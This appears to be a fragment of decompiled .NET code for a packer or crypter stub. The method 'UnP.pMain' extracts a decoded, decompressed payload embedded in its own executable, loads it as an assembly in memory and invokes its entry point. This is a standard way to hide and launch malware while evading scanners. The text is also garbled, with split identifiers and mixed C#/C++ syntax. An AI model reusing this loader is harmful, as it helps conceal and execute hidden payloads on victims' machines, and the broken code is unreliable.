inline System.Void UnP.pMain()
{
System.Int32 i;
System.Object arrobj;
System.Reflection.Assembly assembly;
System.Byte arrbyt;
System.Int32 i1;
System.String str = 0;
arrbyt = 0;
assembly = 0;
arrobj = 0;
str = System::Windows::Forms::Application::ExecutablePat h;
System.Byte ptrbyt = (*__try_cast<__box System.Byte * >(_Noise::DoFileDecodeDecopress((*__try_cast<__b ox System.SByte * >(CommonUtility::StringToPCharAnsi(str))), (*__try_cast<__box System.Int32 * >(i1)))));
arrbyt = CommonUtility::PByteToByteArray((*__try_cast<__box System.Byte * >(ptrbyt)), 0, i1);
free((*__try_cast<__box System.Void * >(ptrbyt)));
if ((arrbyt->Length > 0))
{
assembly = System.Reflection.Assembly::Load(arrbyt);
arrobj = new System.Object *[assembly->EntryPoint->GetParameters()->Length];
i = 0;
while (true)
{
if ((i >= arrobj->Length))
{
break;
}
arrobj[i] = new System.String *[0];
i++;
}
assembly->EntryPoint->Invoke(0, arrobj);
}
}